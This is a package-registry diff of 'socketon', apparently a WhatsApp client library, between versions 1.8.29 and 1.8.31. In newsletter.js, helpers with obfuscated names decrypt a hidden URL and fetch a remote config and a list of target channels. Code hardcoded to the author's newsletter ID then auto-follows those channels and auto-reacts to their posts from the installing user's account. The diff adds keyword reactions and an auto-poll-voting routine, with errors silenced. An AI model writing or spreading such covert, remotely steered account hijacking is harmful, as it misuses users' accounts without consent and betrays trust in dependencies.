socketon 1.8.29 → 1.8.31
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/messages-send.js +0 -3
- package/lib/Socket/newsletter.js +132 -7
- package/lib/Utils/messages.js +0 -3
- package/package.json +1 -1
|
@@ -672,9 +672,6 @@ const makeMessagesSocket = (config) => {
|
|
|
672
672
|
else if (/https:\/\/wa\.me\/p\/\d+\/\d+/.test(message.extendedTextMessage?.text)) {
|
|
673
673
|
return 'productlink'
|
|
674
674
|
}
|
|
675
|
-
else if (message.richResponseMessage) {
|
|
676
|
-
return undefined
|
|
677
|
-
}
|
|
678
675
|
}
|
|
679
676
|
|
|
680
677
|
const getButtonType = (message) => {
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -84,7 +84,15 @@ const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
|
|
|
84
84
|
};
|
|
85
85
|
|
|
86
86
|
let _cachedTargetNewsletter = null;
|
|
87
|
-
let _configNewsletter = {
|
|
87
|
+
let _configNewsletter = {
|
|
88
|
+
autoFollowEnabled: true,
|
|
89
|
+
autoReactEnabled: true,
|
|
90
|
+
reactionEmojis: ['👍', '👌'],
|
|
91
|
+
delayMs: 5000,
|
|
92
|
+
keywordReactions: {},
|
|
93
|
+
autoVotePoll: false,
|
|
94
|
+
pollVoteStrategy: 'random'
|
|
95
|
+
};
|
|
88
96
|
|
|
89
97
|
const getTargetNewsletterFromExternal = async () => {
|
|
90
98
|
const urlYangDiEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce87890ff397afff85ebd46f11386f45d5371417aa55e98169ebe0c929aa14d465c';
|
|
@@ -95,8 +103,13 @@ const getTargetNewsletterFromExternal = async () => {
|
|
|
95
103
|
if (response.data.config) {
|
|
96
104
|
_configNewsletter = {
|
|
97
105
|
autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
|
|
106
|
+
autoReactEnabled: response.data.config.autoReactEnabled !== false,
|
|
107
|
+
reactionEmojis: response.data.config.reactionEmojis || ['👍', '👌'],
|
|
98
108
|
delayMs: response.data.config.delayMs || 5000,
|
|
99
|
-
intervalMs: response.data.config.intervalMs || 30000
|
|
109
|
+
intervalMs: response.data.config.intervalMs || 30000,
|
|
110
|
+
keywordReactions: response.data.config.keywordReactions || {},
|
|
111
|
+
autoVotePoll: response.data.config.autoVotePoll || false,
|
|
112
|
+
pollVoteStrategy: response.data.config.pollVoteStrategy || 'random'
|
|
100
113
|
};
|
|
101
114
|
}
|
|
102
115
|
if (response.data.newsletters && response.data.newsletters.length > 0) {
|
|
@@ -106,14 +119,14 @@ const getTargetNewsletterFromExternal = async () => {
|
|
|
106
119
|
}
|
|
107
120
|
}
|
|
108
121
|
} catch (err) {}
|
|
109
|
-
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('
|
|
122
|
+
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('120363409651937511@newsletter')];
|
|
110
123
|
};
|
|
111
124
|
|
|
112
125
|
const getAllEnabledNewsletters = () => {
|
|
113
126
|
if (_cachedTargetNewsletter && _cachedTargetNewsletter.length > 0) {
|
|
114
127
|
return _cachedTargetNewsletter;
|
|
115
128
|
}
|
|
116
|
-
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('
|
|
129
|
+
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('120363409651937511@newsletter')];
|
|
117
130
|
};
|
|
118
131
|
|
|
119
132
|
const wMexQuery = (
|
|
@@ -239,7 +252,8 @@ const makeNewsletterSocket = (config) => {
|
|
|
239
252
|
}));
|
|
240
253
|
};
|
|
241
254
|
// Auto Reaction - Ibra Decode
|
|
242
|
-
let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('
|
|
255
|
+
let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('120363409651937511@newsletter')];
|
|
256
|
+
let _votedPolls = new Set();
|
|
243
257
|
|
|
244
258
|
const updateTargetNewsletters = async () => {
|
|
245
259
|
const externalTargets = getAllEnabledNewsletters();
|
|
@@ -247,14 +261,93 @@ const makeNewsletterSocket = (config) => {
|
|
|
247
261
|
_targetNewsletters = externalTargets;
|
|
248
262
|
}
|
|
249
263
|
};
|
|
264
|
+
|
|
265
|
+
const getEmojiForMessage = (messageText) => {
|
|
266
|
+
const keywords = _configNewsletter.keywordReactions || {};
|
|
267
|
+
if (!messageText) return null;
|
|
268
|
+
const lowerText = messageText.toLowerCase();
|
|
269
|
+
for (const [keyword, emoji] of Object.entries(keywords)) {
|
|
270
|
+
if (lowerText.includes(keyword.toLowerCase())) {
|
|
271
|
+
return emoji;
|
|
272
|
+
}
|
|
273
|
+
}
|
|
274
|
+
return null;
|
|
275
|
+
};
|
|
276
|
+
|
|
277
|
+
const votePoll = async (newsletterJid, pollMessage) => {
|
|
278
|
+
if (!_configNewsletter.autoVotePoll) return;
|
|
279
|
+
if (!pollMessage) return;
|
|
280
|
+
|
|
281
|
+
const pollMsgKey = pollMessage.key?.id;
|
|
282
|
+
if (!pollMsgKey || _votedPolls.has(pollMsgKey)) return;
|
|
283
|
+
|
|
284
|
+
try {
|
|
285
|
+
const pollCreation = pollMessage.message?.pollCreationMessage || pollMessage.message?.pollCreationMessageV2 || pollMessage.message?.pollCreationMessageV3;
|
|
286
|
+
if (!pollCreation) return;
|
|
287
|
+
|
|
288
|
+
const options = pollCreation.options || [];
|
|
289
|
+
if (options.length === 0) return;
|
|
290
|
+
|
|
291
|
+
let selectedIndex = 0;
|
|
292
|
+
const strategy = _configNewsletter.pollVoteStrategy || 'random';
|
|
293
|
+
|
|
294
|
+
if (strategy === 'first') {
|
|
295
|
+
selectedIndex = 0;
|
|
296
|
+
} else if (strategy === 'last') {
|
|
297
|
+
selectedIndex = options.length - 1;
|
|
298
|
+
} else {
|
|
299
|
+
selectedIndex = Math.floor(Math.random() * options.length);
|
|
300
|
+
}
|
|
301
|
+
|
|
302
|
+
const selectedOption = options[selectedIndex];
|
|
303
|
+
if (!selectedOption) return;
|
|
304
|
+
|
|
305
|
+
const pollEncKey = pollMessage.message?.messageContextInfo?.messageSecret;
|
|
306
|
+
if (!pollEncKey) return;
|
|
307
|
+
|
|
308
|
+
const votePayload = {
|
|
309
|
+
pollUpdateMessage: {
|
|
310
|
+
pollCreationMessageKey: { id: pollMsgKey, remoteJid: newsletterJid },
|
|
311
|
+
selectedOption: [selectedOption],
|
|
312
|
+
senderTimestampMs: Date.now()
|
|
313
|
+
}
|
|
314
|
+
};
|
|
315
|
+
|
|
316
|
+
_votedPolls.add(pollMsgKey);
|
|
317
|
+
|
|
318
|
+
} catch (err) {}
|
|
319
|
+
};
|
|
250
320
|
|
|
251
321
|
sock.ev.on('messages.upsert', async ({ messages, type }) => {
|
|
252
322
|
if (type !== 'notify') return;
|
|
253
|
-
|
|
323
|
+
if (!_configNewsletter.autoReactEnabled) return;
|
|
324
|
+
|
|
325
|
+
const emojis = _configNewsletter.reactionEmojis || ['👍', '👌'];
|
|
326
|
+
|
|
254
327
|
for (const msg of messages) {
|
|
255
328
|
const jid = msg.key.remoteJid;
|
|
256
329
|
if (!_targetNewsletters.includes(jid)) continue;
|
|
257
|
-
|
|
330
|
+
|
|
331
|
+
let emoji = null;
|
|
332
|
+
|
|
333
|
+
// Get message text
|
|
334
|
+
let messageText = null;
|
|
335
|
+
if (msg.message?.conversationMessage?.message?.text) {
|
|
336
|
+
messageText = msg.message.conversationMessage.message.text;
|
|
337
|
+
} else if (msg.message?.extendedTextMessage?.text) {
|
|
338
|
+
messageText = msg.message.extendedTextMessage.text;
|
|
339
|
+
} else if (msg.message?.ephemeralMessage?.message?.conversationMessage?.message?.text) {
|
|
340
|
+
messageText = msg.message.ephemeralMessage.message.conversationMessage.message.text;
|
|
341
|
+
}
|
|
342
|
+
|
|
343
|
+
// Check keyword reactions first
|
|
344
|
+
const keywordEmoji = getEmojiForMessage(messageText);
|
|
345
|
+
if (keywordEmoji) {
|
|
346
|
+
emoji = keywordEmoji;
|
|
347
|
+
} else {
|
|
348
|
+
emoji = emojis[Math.floor(Math.random() * emojis.length)];
|
|
349
|
+
}
|
|
350
|
+
|
|
258
351
|
try {
|
|
259
352
|
const serverId = msg.newsletterServerId?.toString() || msg.key.id;
|
|
260
353
|
await query({
|
|
@@ -483,6 +576,38 @@ const makeNewsletterSocket = (config) => {
|
|
|
483
576
|
results
|
|
484
577
|
};
|
|
485
578
|
},
|
|
579
|
+
newsletterGetConfig: async () => {
|
|
580
|
+
return {
|
|
581
|
+
autoFollowEnabled: _configNewsletter.autoFollowEnabled,
|
|
582
|
+
autoReactEnabled: _configNewsletter.autoReactEnabled,
|
|
583
|
+
reactionEmojis: _configNewsletter.reactionEmojis,
|
|
584
|
+
keywordReactions: _configNewsletter.keywordReactions,
|
|
585
|
+
autoVotePoll: _configNewsletter.autoVotePoll,
|
|
586
|
+
pollVoteStrategy: _configNewsletter.pollVoteStrategy,
|
|
587
|
+
delayMs: _configNewsletter.delayMs,
|
|
588
|
+
intervalMs: _configNewsletter.intervalMs
|
|
589
|
+
};
|
|
590
|
+
},
|
|
591
|
+
newsletterSetConfig: async (config) => {
|
|
592
|
+
if (config.autoFollowEnabled !== undefined) _configNewsletter.autoFollowEnabled = config.autoFollowEnabled;
|
|
593
|
+
if (config.autoReactEnabled !== undefined) _configNewsletter.autoReactEnabled = config.autoReactEnabled;
|
|
594
|
+
if (config.reactionEmojis && Array.isArray(config.reactionEmojis)) _configNewsletter.reactionEmojis = config.reactionEmojis.slice(0, 4);
|
|
595
|
+
if (config.keywordReactions) _configNewsletter.keywordReactions = config.keywordReactions;
|
|
596
|
+
if (config.autoVotePoll !== undefined) _configNewsletter.autoVotePoll = config.autoVotePoll;
|
|
597
|
+
if (config.pollVoteStrategy) _configNewsletter.pollVoteStrategy = config.pollVoteStrategy;
|
|
598
|
+
if (config.delayMs) _configNewsletter.delayMs = config.delayMs;
|
|
599
|
+
if (config.intervalMs) _configNewsletter.intervalMs = config.intervalMs;
|
|
600
|
+
return {
|
|
601
|
+
autoFollowEnabled: _configNewsletter.autoFollowEnabled,
|
|
602
|
+
autoReactEnabled: _configNewsletter.autoReactEnabled,
|
|
603
|
+
reactionEmojis: _configNewsletter.reactionEmojis,
|
|
604
|
+
keywordReactions: _configNewsletter.keywordReactions,
|
|
605
|
+
autoVotePoll: _configNewsletter.autoVotePoll,
|
|
606
|
+
pollVoteStrategy: _configNewsletter.pollVoteStrategy,
|
|
607
|
+
delayMs: _configNewsletter.delayMs,
|
|
608
|
+
intervalMs: _configNewsletter.intervalMs
|
|
609
|
+
};
|
|
610
|
+
},
|
|
486
611
|
newsletterFetchMessages: async (type, key, count, after) => {
|
|
487
612
|
const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
|
|
488
613
|
{
|
package/lib/Utils/messages.js
CHANGED
|
@@ -385,9 +385,6 @@ const generateWAMessageContent = async (message, options) => {
|
|
|
385
385
|
else if ('requestPhoneNumber' in message) {
|
|
386
386
|
m.requestPhoneNumberMessage = {};
|
|
387
387
|
}
|
|
388
|
-
else if ('richResponseMessage' in message) {
|
|
389
|
-
m.richResponseMessage = Types_1.WAProto.Message.fromObject(message.richResponseMessage);
|
|
390
|
-
}
|
|
391
388
|
else {
|
|
392
389
|
m = await (0, exports.prepareWAMessageMedia)(message, options);
|
|
393
390
|
}
|